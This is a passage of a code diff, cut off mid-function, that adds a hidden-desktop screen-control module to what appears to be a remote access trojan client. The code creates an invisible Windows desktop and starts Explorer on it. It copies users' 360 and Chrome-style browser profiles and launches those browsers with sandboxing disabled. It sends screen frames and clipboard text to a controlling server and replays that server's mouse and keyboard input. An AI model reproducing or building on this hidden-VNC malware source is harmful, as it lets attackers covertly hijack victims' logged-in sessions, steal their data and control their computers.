+        lstrcat(path, _T("iexplore.exe"));
+
+        STARTUPINFO startupInfo = { 0 };
+        startupInfo.cb = sizeof(startupInfo);
+        startupInfo.lpDesktop = deskName;
+        PROCESS_INFORMATION processInfo = { 0 };
+        CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+        break;
+    }
+    case IDM_OPEN_zdy: {
+        TCHAR path[MAX_PATH] = { 0 };
+        lstrcpy(path, (TCHAR*)((char*)lpBuffer + 2));
+        STARTUPINFO startupInfo = { 0 };
+        startupInfo.cb = sizeof(startupInfo);
+        startupInfo.lpDesktop = deskName;
+        PROCESS_INFORMATION processInfo = { 0 };
+        CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+        break;
+    }
+    case IDM_OPEN_zdy2: {
+        ZdyCmd m_ZdyCmd = {};
+        memcpy(&m_ZdyCmd, (char*)lpBuffer + 2, sizeof(ZdyCmd));
+        CopyDir(m_ZdyCmd.oldpath, m_ZdyCmd.newpath);
+
+        TCHAR path[MAX_PATH] = { 0 };
+        lstrcpy(path, _T("cmd.exe /c start "));
+        lstrcat(path, m_ZdyCmd.cmdline);
+        lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
+        lstrcat(path, _T("\""));
+        lstrcat(path, m_ZdyCmd.newpath);
+        STARTUPINFO startupInfo = { 0 };
+        startupInfo.cb = sizeof(startupInfo);
+        startupInfo.lpDesktop = deskName;
+        PROCESS_INFORMATION processInfo = { 0 };
+        CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+        break;
+    }
+    case IDM_OPEN_360JS: {
+        TCHAR chromePath[MAX_PATH] = { 0 };
+        SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath);
+        lstrcat(chromePath, _T("\\360Chrome\\Chrome\\"));
+        TCHAR dataPath[MAX_PATH] = { 0 };
+        lstrcpy(dataPath, chromePath);
+        lstrcat(dataPath, _T("User Data\\"));
+
+        TCHAR newDataPath[MAX_PATH] = { 0 };
+        lstrcpy(newDataPath, chromePath);
+        lstrcat(newDataPath, deskName);
+
+        CopyDir(dataPath, newDataPath);
+
+        TCHAR path[MAX_PATH] = { 0 };
+        lstrcpy(path, _T("cmd.exe /c start "));
+        lstrcat(path, _T("360chrome.exe"));
+        lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
+        lstrcat(path, _T("\""));
+        lstrcat(path, newDataPath);
+
+        STARTUPINFO startupInfo = { 0 };
+        startupInfo.cb = sizeof(startupInfo);
+        startupInfo.lpDesktop = deskName;
+        PROCESS_INFORMATION processInfo = { 0 };
+        CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+        break;
+    }
+    case IDM_OPEN_360AQ: {
+        TCHAR chromePath[MAX_PATH] = { 0 };
+
+        SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath);
+        lstrcat(chromePath, _T("\\"));
+
+        TCHAR dataPath[MAX_PATH] = { 0 };
+        lstrcpy(dataPath, chromePath);
+        lstrcat(dataPath, _T("secoresdk\\"));
+
+        TCHAR newDataPath[MAX_PATH] = { 0 };
+        lstrcpy(newDataPath, chromePath);
+        lstrcat(newDataPath, deskName);
+
+        CopyDir(dataPath, newDataPath);
+        lstrcat(newDataPath, _T("\\360se6\\Application\\360se.exe"));
+
+        TCHAR path[MAX_PATH] = { 0 };
+        lstrcpy(path, _T("cmd.exe /c start "));
+        lstrcat(path, newDataPath);
+
+        lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
+
+        STARTUPINFO startupInfo = { 0 };
+        startupInfo.cb = sizeof(startupInfo);
+        startupInfo.lpDesktop = deskName;
+        PROCESS_INFORMATION processInfo = { 0 };
+        CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+        break;
+    }
+    case IDM_OPEN_360AQ2: {
+        TCHAR chromePath[MAX_PATH] = { 0 };
+
+        SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath);
+        lstrcat(chromePath, _T("\\"));
+
+        TCHAR dataPath[MAX_PATH] = { 0 };
+        lstrcpy(dataPath, chromePath);
+        lstrcat(dataPath, _T("360se6\\"));
+
+        TCHAR newDataPath[MAX_PATH] = { 0 };
+        lstrcpy(newDataPath, chromePath);
+        lstrcat(newDataPath, deskName);
+
+        CopyDir(dataPath, newDataPath);
+        lstrcat(newDataPath, _T("\\Application\\360se.exe"));
+
+        TCHAR path[MAX_PATH] = { 0 };
+        lstrcpy(path, _T("cmd.exe /c start "));
+        lstrcat(path, newDataPath);
+
+        lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
+
+        STARTUPINFO startupInfo = { 0 };
+        startupInfo.cb = sizeof(startupInfo);
+        startupInfo.lpDesktop = deskName;
+        PROCESS_INFORMATION processInfo = { 0 };
+        CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+        break;
+    }
+    }
+}
+
+void CScreenHideManager::InitScreenSpy() {
+	HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str());
+	if (!hDesk) {
+        hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL);
+		Mprintf("创建虚拟屏幕%s: %s\n", m_DesktopID.c_str(), hDesk ? "成功" : "失败");
+	}
+	else {
+		Mprintf("打开虚拟屏幕成功: %s\n", m_DesktopID.c_str());
+	}
+	if (hDesk) {
+		TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
+		GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
+		strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe"));
+        if (!IsProcessRunningInDesktop(hDesk, szExplorerFile))
+        {
+			if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) {
+				Mprintf("启动资源管理器失败[%s]!!!\n", m_DesktopID.c_str());
+			}
+        } else {
+            Mprintf("虚拟屏幕的资源管理器已在运行[%s].\n", m_DesktopID.c_str());
+        }
+		SetThreadDesktop(g_hDesk = hDesk);
+	}
+	BYTE* param = (BYTE*)m_ptrUser;
+	int compress = ALGORITHM_DIFF;
+	if (param) {
+        compress = param[1];
+		delete[] param;
+        m_ptrUser = NULL;
+	}
+    m_ScreenSpyObject = new CScreenHideSpy(32, compress);
+}
+
+} // namespace SimplePluginsScreenHide

client/screenhide/ScreenHideManager.h

@@ -0,0 +1,21 @@
+#pragma once
+#include "Manager.h"
+
+#include "ScreenHideSpy.h"
+#include "ScreenManagerBase.h"
+
+namespace SimplePluginsScreenHide {
+
+class CScreenHideManager : public CScreenManagerBase
+{
+public:
+    CScreenHideManager(ISocketBase* pClient, int nBitDepth, void* user=NULL);
+    virtual ~CScreenHideManager();
+
+    void OnUserCommand(PBYTE lpBuffer, ULONG nSize);
+
+	virtual VOID OnReceive(PBYTE lpBuffer, ULONG nSize);
+    virtual void InitScreenSpy();
+};
+
+} // namespace SimplePluginsScreenHide

client/screenhide/ScreenHideSpy.h

@@ -0,0 +1,22 @@
+#pragma once
+
+#include "ScreenSpy.h"
+
+namespace SimplePluginsScreenHide {
+
+// 隐私屏幕捕获器。
+//
+// SimplePlugins 原版 CScreenHideSpy 基于其自带的旧 CScreenSpy/ScreenCapture 捕获链
+// （jpeg + CaptureFrame/BMP_JPG/ScanChangedRect），已与 YAMA 重写后的编码器捕获层
+// （ScreenCapture::GetNextScreenData + EncoderFactory）分叉，故此处改写为直接继承
+// YAMA 的 ::CScreenSpy，仅把 vDesk=TRUE（虚拟桌面）传入基类，捕获/编码全部复用基类。
+class CScreenHideSpy : public ::CScreenSpy
+{
+public:
+    CScreenHideSpy(int biBitCount = 32, int algo = ALGORITHM_DIFF)
+        : ::CScreenSpy((ULONG)biBitCount, (BYTE)algo, TRUE /* vDesk → m_bVirtualPaint */)
+    {
+    }
+};
+
+} // namespace SimplePluginsScreenHide

client/screenhide/ScreenManagerBase.h

@@ -0,0 +1,642 @@
+#pragma once
+
+#include "Manager.h"
+#include "ScreenCapture.h"
+#include <Shlwapi.h>
+#include <ShlObj.h>
+#include <tchar.h>
+
+class IOCPClient;
+
+namespace SimplePluginsScreenHide {
+
+class CScreenManagerBase : public CManager {
+public: // 构造和析构
+	CScreenManagerBase(IOCPClient* ClientObject, int nBitDepth, void* user = NULL, 
+		int token= TOKEN_BITMAPINFO) : CManager(ClientObject)
+	{
+		m_DlgToken = token;
+		g_hDesk = nullptr;
+		m_DesktopID = GetBotId();
+		m_ptrUser = user;
+		m_ScreenSpyObject = nullptr;
+		m_biBitCount = nBitDepth;
+		m_fps = 10;
+		m_bIsWorking = TRUE;
+		m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
+		m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);
+		m_point = {};
+		m_lastPoint = {};
+		m_lmouseDown = FALSE;
+		m_hResMoveWindow = nullptr;
+		m_resMoveType = 0;
+		m_rmouseDown = FALSE;
+		m_rclickPoint = {};
+		m_rclickWnd = nullptr;
+		m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::WorkThreadProc, this, 0, NULL);
+		m_hBlankThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::ControlThread, this, 0, NULL);
+		SetReady(TRUE);
+	}
+	virtual ~CScreenManagerBase() {
+		m_bIsWorking = FALSE;
+		WaitForSingleObject(m_hWorkThread, INFINITE);
+		WaitForSingleObject(m_hBlankThread, INFINITE);
+		CloseHandle(m_hWorkThread); m_hWorkThread = NULL;
+		CloseHandle(m_hBlankThread); m_hBlankThread = NULL;
+
+		SAFE_DELETE(m_ScreenSpyObject);
+		if (g_hDesk) {
+			auto b = CloseDesktop(g_hDesk);
+			g_hDesk = NULL;
+			Mprintf("关闭虚拟屏幕【%s】: %s\n", b ? "成功" : "失败", m_DesktopID.c_str());
+		}
+	}
+
+public: // 非纯虚函数
+	virtual BOOL SendFirstScreen() {
+		ULONG len = 0;
+		auto data = m_ScreenSpyObject->GetFirstScreenData(&len);
+		if (nullptr == data) {
+			return FALSE;
+		}
+		return m_ClientObject->Send2Server((char*)data, 1 + len);
+	}
+
+	virtual bool IsMetricsChange() {
+		if ((m_oldwidth != ::GetSystemMetrics(SM_CXVIRTUALSCREEN)) || (m_oldheigh != ::GetSystemMetrics(SM_CYVIRTUALSCREEN))) {
+			if (m_oldwidth == 0 || m_oldheigh == 0) {
+				return false;
+			}
+			m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
+			m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);
+			return true;
+		}
+
+		return false;
+	}
+
+	virtual void Loop_Screen() {
+		// 获取分辨率
+		int _cx = ::GetSystemMetrics(SM_CXSCREEN);
+		int _cy = ::GetSystemMetrics(SM_CYSCREEN);
+
+		// 修改分辨率
+		DEVMODE lpDevMode;
+		lpDevMode.dmBitsPerPel = 32;//每个像素的位数
+		lpDevMode.dmPelsWidth = 1600;//屏幕宽度（像素）
+		lpDevMode.dmPelsHeight = 900;//屏幕高度（像素）
+		lpDevMode.dmSize = sizeof(lpDevMode);
+		lpDevMode.dmFields =DM_PELSWIDTH| DM_PELSHEIGHT| DM_BITSPERPEL;
+		LONG result = ChangeDisplaySettings(&lpDevMode, 0);
+		if (result == DISP_CHANGE_SUCCESSFUL) {
+			ChangeDisplaySettings(&lpDevMode, CDS_UPDATEREGISTRY);
+		}
+		else {
+			ChangeDisplaySettings(NULL, 0);
+		}
+	}
+
+	virtual bool IsConnect() { return m_ClientObject->IsRunning(); }
+
+	virtual int GetCurrentPixelBits() { return m_biBitCount; }
+
+	virtual LPBYTE GetNextScreen(ULONG& ulNextSendLength) {
+		return m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
+	}
+
+	virtual VOID SendNextScreen(LPBYTE szBuffer, ULONG ulNextSendLength) {
+		m_ClientObject->Send2Server((char*)szBuffer, ulNextSendLength);
+	}
+
+	virtual void ResetScreen(int biBitCount = 32) {
+		InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
+		WaitForSingleObject(m_hWorkThread, INFINITE);
+		CloseHandle(m_hWorkThread);
+		SAFE_DELETE(m_ScreenSpyObject);
+		m_biBitCount = biBitCount;
+		m_bIsWorking = TRUE;
+		m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc, this, 0, NULL);
+	}
+
+	virtual VOID UpdateClientClipboard(char* szBuffer, ULONG ulLength) {
+		if (!OpenClipboard(NULL))
+			return;
+		EmptyClipboard();
+		HGLOBAL hGlobal = (HGLOBAL)GlobalAlloc(GMEM_DDESHARE, ulLength);
+		if (hGlobal != NULL) {
+			LPTSTR szClipboardVirtualAddress = (LPTSTR)GlobalLock(hGlobal);
+			if (szClipboardVirtualAddress)
+				memcpy(szClipboardVirtualAddress, szBuffer, ulLength);
+			GlobalUnlock(hGlobal);
+			if (NULL == SetClipboardData(CF_TEXT, hGlobal))
+				GlobalFree(hGlobal);
+		}
+		CloseClipboard();
+	}
+
+	virtual VOID SendClientClipboard() {
+		if (!OpenClipboard(NULL))  //打开剪切板设备
+			return;
+		HGLOBAL hGlobal = (HGLOBAL)GetClipboardData(CF_TEXT);   //代表着一个内存
+		if (hGlobal == NULL) {
+			CloseClipboard();
+			return;
+		}
+		int	  iPacketLength = GlobalSize(hGlobal) + 1;
+		char* szClipboardVirtualAddress = (LPSTR)GlobalLock(hGlobal); //锁定
+		LPBYTE	szBuffer = new BYTE[iPacketLength];
+
+		szBuffer[0] = TOKEN_CLIPBOARD_TEXT;
+		memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
+		GlobalUnlock(hGlobal);
+		CloseClipboard();
+		m_ClientObject->Send2Server((char*)szBuffer, iPacketLength);
+		delete[] szBuffer;
+	}
+
+	virtual DWORD WorkProcess() {
+		CScreenManagerBase* This = this;
+		This->InitScreenSpy();
+
+		This->SendBitMapInfo();
+		if (This->m_bIsWorking)
+			This->WaitForDialogOpen();
+		This->SendScreenSize();
+		clock_t last = clock();
+		if (!This->SendFirstScreen()) {
+			Mprintf("Send first screen failed!!!\n");
+			return 0x20250224;
+		}
+		Mprintf("Succeed sending bmpInfo and first screen\n");
+
+		float fps = This->m_fps;
+		const int sleep = 1000 / fps;// 间隔时间（ms）
+		int c1 = 0; // 连续耗时长的次数
+		int c2 = 0; // 连续耗时短的次数
+		int s0 = sleep; // 两帧之间隔（ms）
+		const int frames = fps;	// 每秒调整屏幕发送速度
+		const double alpha = 1.1; // 控制fps的因子
+		timeBeginPeriod(1);
+		while (This->m_bIsWorking) {
+			ULONG ulNextSendLength = 0;
+			LPBYTE szBuffer = This->GetNextScreen(ulNextSendLength);
+			if (NULL == szBuffer) {
+				continue;
+			}
+			int span = s0 - (clock() - last);
+			Sleep(span > 0 ? span : 1);
+			if (span < 0) { // 发送数据耗时较长，网络较差或数据较多
+				c2 = 0;
+				if (frames == ++c1) { // 连续一定次数耗时长
+					s0 = (s0 <= 500) ? s0 * alpha : s0;
+					c1 = 0;
+#ifdef _DEBUG
+					if (s0 > 40)
+						Mprintf("[+]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0);
+#endif
+				}
+			}
+			else if (span > 0) { // 发送数据耗时比s0短，表示网络较好或数据包较小
+				c1 = 0;
+				if (frames == ++c2) { // 连续一定次数耗时短
+					s0 = (s0 >= 40) ? s0 / alpha : s0;
+					c2 = 0;
+#ifdef _DEBUG
+					if (s0 > 40)
+						Mprintf("[-]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0);
+#endif
+				}
+			}
+			last = clock();
+			This->SendNextScreen(szBuffer, ulNextSendLength);
+		}
+		timeEndPeriod(1);
+		Mprintf("ScreenWorkThread Exit\n");
+
+		return 0;
+	}
+
+	virtual DWORD ControlProcess() {
+		CScreenManagerBase* pThis = this;
+		pThis->WaitForDialogOpen();
+		while (pThis->IsConnect() && pThis->m_bIsWorking) {
+			// 分辨率大小改变了
+			if (pThis->IsMetricsChange() && pThis->m_bIsWorking) {
+				pThis->ResetScreen(pThis->GetCurrentPixelBits());
+				Sleep(2000);
+			}
+			Sleep(10);
+		}
+		return -1;
+	}
+
+	static DWORD WINAPI WorkThreadProc(LPVOID lParam) {
+		CScreenManagerBase* pThis = (CScreenManagerBase*)lParam;
+		return pThis->WorkProcess();
+	}
+
+	static DWORD WINAPI ControlThread(LPVOID lparam) {
+		CScreenManagerBase* pThis = (CScreenManagerBase*)lparam;
+		return pThis->ControlProcess();
+	}
+
+	std::wstring ConvertToWString(const std::string& multiByteStr) {
+		int len = MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, NULL, 0);
+		if (len == 0) return L""; // 转换失败
+
+		std::wstring wideStr(len, L'\0');
+		MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, &wideStr[0], len);
+
+		return wideStr;
+	}
+
+	std::string GetTitle(HWND hWnd) {
+		char title[256] = { 0 }; // 预留缓冲区（置零，避免无标题/无效窗口时读到未初始化内存）
+		GetWindowTextA(hWnd, title, sizeof(title));
+		return title;
+	}
+
+	virtual bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName) {
+		bool bReturn = false;
+
+		try {
+			if (!pszApplicationFilePath || !pszDesktopName || !strlen(pszApplicationFilePath) || !strlen(pszDesktopName))
+				return false;
+
+			TCHAR szDirectoryName[MAX_PATH * 2] = { 0 };
+			TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
+
+			strcpy_s(szDirectoryName, strlen(pszApplicationFilePath) + 1, pszApplicationFilePath);
+
+			std::wstring path = ConvertToWString(pszApplicationFilePath);
+			if (!PathIsExe(path.c_str()))
+				return false;
+			PathRemoveFileSpec(szDirectoryName);
+			STARTUPINFO sInfo = { 0 };
+			PROCESS_INFORMATION pInfo = { 0 };
+
+			sInfo.cb = sizeof(sInfo);
+			sInfo.lpDesktop = pszDesktopName;
+
+			//Launching a application into desktop
+			BOOL bCreateProcessReturn = CreateProcess(pszApplicationFilePath,
+				NULL,
+				NULL,
+				NULL,
+				TRUE,
+				NORMAL_PRIORITY_CLASS,
+				NULL,
+				szDirectoryName,
+				&sInfo,
+				&pInfo);
+			CloseHandle(pInfo.hProcess);
+			CloseHandle(pInfo.hThread);
+			TCHAR* pszError = NULL;
+			FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
+				NULL, GetLastError(), 0, reinterpret_cast<LPTSTR>(&pszError), 0, NULL);
+
+			if (pszError) {
+				Mprintf("CreateProcess [%s] failed: %s\n", pszApplicationFilePath, pszError);
+				LocalFree(pszError);  // 释放内存
+			}
+
+			if (bCreateProcessReturn)
+				bReturn = true;
+
+		}
+		catch (...) {
+			bReturn = false;
+		}
+
+		return bReturn;
+	}
+
+	virtual VOID SendBitMapInfo() {
+		const ULONG   ulLength = 1 + sizeof(BITMAPINFOHEADER);
+		LPBYTE	szBuffer = new BYTE[ulLength];
+		szBuffer[0] = m_DlgToken;
+		memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
+		m_ClientObject->Send2Server((char*)szBuffer, ulLength);
+		SAFE_DELETE_ARRAY(szBuffer);
+	}
+
+	virtual void SendScreenSize()
+	{
+		RECT rect = m_ScreenSpyObject->GetScreenRect();
+		BYTE lpBuffer[sizeof(RECT) + 1];
+		lpBuffer[0] = TOKEN_SCREEN_SIZE;
+		memcpy(lpBuffer + 1, &rect, sizeof(RECT));
+		Send(lpBuffer, sizeof(lpBuffer));
+	}
+
+	virtual VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength) {
+		int msgSize = sizeof(MYMSG);
+		if (ulLength % 28 == 0)         // 32位控制端发过来的消息
+			msgSize = 28;
+		else if (ulLength % 48 == 0)    // 64位控制端发过来的消息
+			msgSize = 48;
+		else return;                    // 数据包不合法
+		ULONG ulMsgCount = ulLength / msgSize;
+		BYTE* ptr = szBuffer;
+		MSG32 msg32;
+		MSG64 msg64;
+		if (nullptr == g_hDesk) {
+			// 命令个数
+			// 处理多个命令
+			for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
+				MYMSG* Msg = msgSize == 48 ? (MYMSG*)ptr :
+					(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
+				switch (Msg->message) {
+				case WM_LBUTTONDOWN: case WM_LBUTTONUP:
+				case WM_RBUTTONDOWN: case WM_RBUTTONUP:
+				case WM_LBUTTONDBLCLK: case WM_RBUTTONDBLCLK: case WM_MBUTTONDBLCLK:
+				case WM_MBUTTONDOWN: case WM_MBUTTONUP:
+				case WM_MOUSEMOVE: {
+					POINT Point;
+					Point.x = LOWORD(Msg->lParam);
+					Point.y = HIWORD(Msg->lParam);
+					m_ScreenSpyObject->PointConversion(Point);
+					SetCursorPos(Point.x, Point.y);
+					SetCapture(WindowFromPoint(Point));
+				}
+								 break;
+				default:
+					break;
+				}
+
+				switch (Msg->message) {
+				case WM_LBUTTONDOWN:
+					mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
+					break;
+				case WM_LBUTTONUP:
+					mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
+					break;
+				case WM_RBUTTONDOWN:
+					mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
+					break;
+				case WM_RBUTTONUP:
+					mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
+					break;
+				case WM_LBUTTONDBLCLK:
+					mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
+					mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
+					break;
+				case WM_RBUTTONDBLCLK:
+					mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
+					mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
+					break;
+				case WM_MBUTTONDBLCLK:
+					mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
+					mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
+					break;
+				case WM_MBUTTONDOWN:
+					mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
+					break;
+				case WM_MBUTTONUP:
+					mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
+					break;
+				case WM_MOUSEWHEEL:
+					mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(Msg->wParam), 0);
+					break;
+				case WM_KEYDOWN: case WM_SYSKEYDOWN:
+					keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), 0, 0);
+					break;
+				case WM_KEYUP: case WM_SYSKEYUP:
+					keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), KEYEVENTF_KEYUP, 0);
+					break;
+				default:
+					break;
+				}
+			}
+		} else { // 虚拟桌面
+			HWND  hWnd = NULL;
+			BOOL  mouseMsg = FALSE;
+			POINT lastPointCopy = {};
+			SetThreadDesktop(g_hDesk);
+			for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
+				MYMSG* msg = msgSize == 48 ? (MYMSG*)ptr :
+					(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
+				switch (msg->message) {
+				case WM_KEYUP:
+					return;
+				case WM_CHAR:
+
+				case WM_KEYDOWN: {
+					m_point = m_lastPoint;
+					hWnd = WindowFromPoint(m_point);
+					break;
+				}
+				case WM_RBUTTONDOWN: {
+					// 记录右键按下时的坐标
+					m_rmouseDown = TRUE;
+					m_rclickPoint = msg->pt;
+					break;
+				}
+				case WM_RBUTTONUP: {
+					m_rmouseDown = FALSE;
+					m_rclickWnd = WindowFromPoint(m_rclickPoint);
+					// 检查是否为系统菜单（如任务栏）
+					char szClass[256] = { 0 };
+					GetClassNameA(m_rclickWnd, szClass, sizeof(szClass));
+					Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(m_rclickWnd).c_str(), m_rclickWnd);
+					if (strcmp(szClass, "Shell_TrayWnd") == 0) {
+						// 触发系统级右键菜单（任务栏）
+						PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd,
+							MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y));
+					}
+					else {
+						// 普通窗口的右键菜单
+						if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam,
+							MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) {
+							// 附加：模拟键盘按下Shift+F10（备用菜单触发方式）
+							keybd_event(VK_SHIFT, 0, 0, 0);
+							keybd_event(VK_F10, 0, 0, 0);
+							keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0);
+							keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
+						}
+					}
+					break;
+				}
+				default:
+				{
+					mouseMsg = TRUE;
+					m_point = msg->pt;
+					hWnd = WindowFromPoint(m_point);
+					lastPointCopy = m_lastPoint;
+					m_lastPoint = m_point;
+					if (msg->message == WM_LBUTTONUP) {
+						if (m_rclickWnd && hWnd != m_rclickWnd)
+						{
+							PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0);
+							PostMessageA(m_rclickWnd, WM_LBUTTONUP, MK_LBUTTON, 0);
+							m_rclickWnd = nullptr;
+						}
+						m_lmouseDown = FALSE;
+						LRESULT lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
+						switch (lResult) {
+						case HTTRANSPARENT: {
+							SetWindowLongA(hWnd, GWL_STYLE, GetWindowLongA(hWnd, GWL_STYLE) | WS_DISABLED);
+							lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
+							break;
+						}
+						case HTCLOSE: {// 关闭窗口
+							PostMessageA(hWnd, WM_CLOSE, 0, 0);
+							Mprintf("Close window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
+							break;
+						}
+						case HTMINBUTTON: {// 最小化
+							PostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0);
+							Mprintf("Minsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
+							break;
+						}
+						case HTMAXBUTTON: {// 最大化
+							WINDOWPLACEMENT windowPlacement;
+							windowPlacement.length = sizeof(windowPlacement);
+							GetWindowPlacement(hWnd, &windowPlacement);
+							if (windowPlacement.flags & SW_SHOWMAXIMIZED)
+								PostMessageA(hWnd, WM_SYSCOMMAND, SC_RESTORE, 0);
+							else
+								PostMessageA(hWnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0);
+							Mprintf("Maxsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
+							break;
+						}
+						}
+					}
+					else if (msg->message == WM_LBUTTONDOWN) {
+						m_lmouseDown = TRUE;
+						m_hResMoveWindow = NULL;
+						RECT startButtonRect;
+						HWND hStartButton = FindWindowA((PCHAR)"Button", NULL);
+						GetWindowRect(hStartButton, &startButtonRect);
+						if (PtInRect(&startButtonRect, m_point)) {
+							PostMessageA(hStartButton, BM_CLICK, 0, 0); // 模拟开始按钮点击
+							continue;
+						}
+						else {
+							char windowClass[MAX_PATH] = { 0 };
+							RealGetWindowClassA(hWnd, windowClass, MAX_PATH);
+							if (!lstrcmpA(windowClass, "#32768")) {
+								HMENU hMenu = (HMENU)SendMessageA(hWnd, MN_GETHMENU, 0, 0);
+								int itemPos = MenuItemFromPoint(NULL, hMenu, m_point);
+								int itemId = GetMenuItemID(hMenu, itemPos);
+								PostMessageA(hWnd, 0x1e5, itemPos, 0);
+								PostMessageA(hWnd, WM_KEYDOWN, VK_RETURN, 0);
+								continue;
+							}
+						}
+					}
+					else if (msg->message == WM_MOUSEMOVE) {
+						if (!m_lmouseDown)
+							continue;
+						if (!m_hResMoveWindow)
+							m_resMoveType = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
+						else
+							hWnd = m_hResMoveWindow;
+						int moveX = lastPointCopy.x - m_point.x;
+						int moveY = lastPointCopy.y - m_point.y;
+
+						RECT rect;
+						GetWindowRect(hWnd, &rect);
+						int x = rect.left;
+						int y = rect.top;
+						int width = rect.right - rect.left;
+						int height = rect.bottom - rect.top;
+						switch (m_resMoveType) {
+						case HTCAPTION: {
+							x -= moveX;
+							y -= moveY;
+							break;
+						}
+						case HTTOP: {
+							y -= moveY;
+							height += moveY;
+							break;
+						}
+						case HTBOTTOM: {
+							height -= moveY;
+							break;
+						}
+						case HTLEFT: {
+							x -= moveX;
+							width += moveX;
+							break;
+						}
+						case HTRIGHT: {
+							width -= moveX;
+							break;
+						}
+						case HTTOPLEFT: {
+							y -= moveY;
+							height += moveY;
+							x -= moveX;
+							width += moveX;
+							break;
+						}
+						case HTTOPRIGHT: {
+							y -= moveY;
+							height += moveY;
+							width -= moveX;
+							break;
+						}
+						case HTBOTTOMLEFT: {
+							height -= moveY;
+							x -= moveX;
+							width += moveX;
+							break;
+						}
+						case HTBOTTOMRIGHT: {
+							height -= moveY;
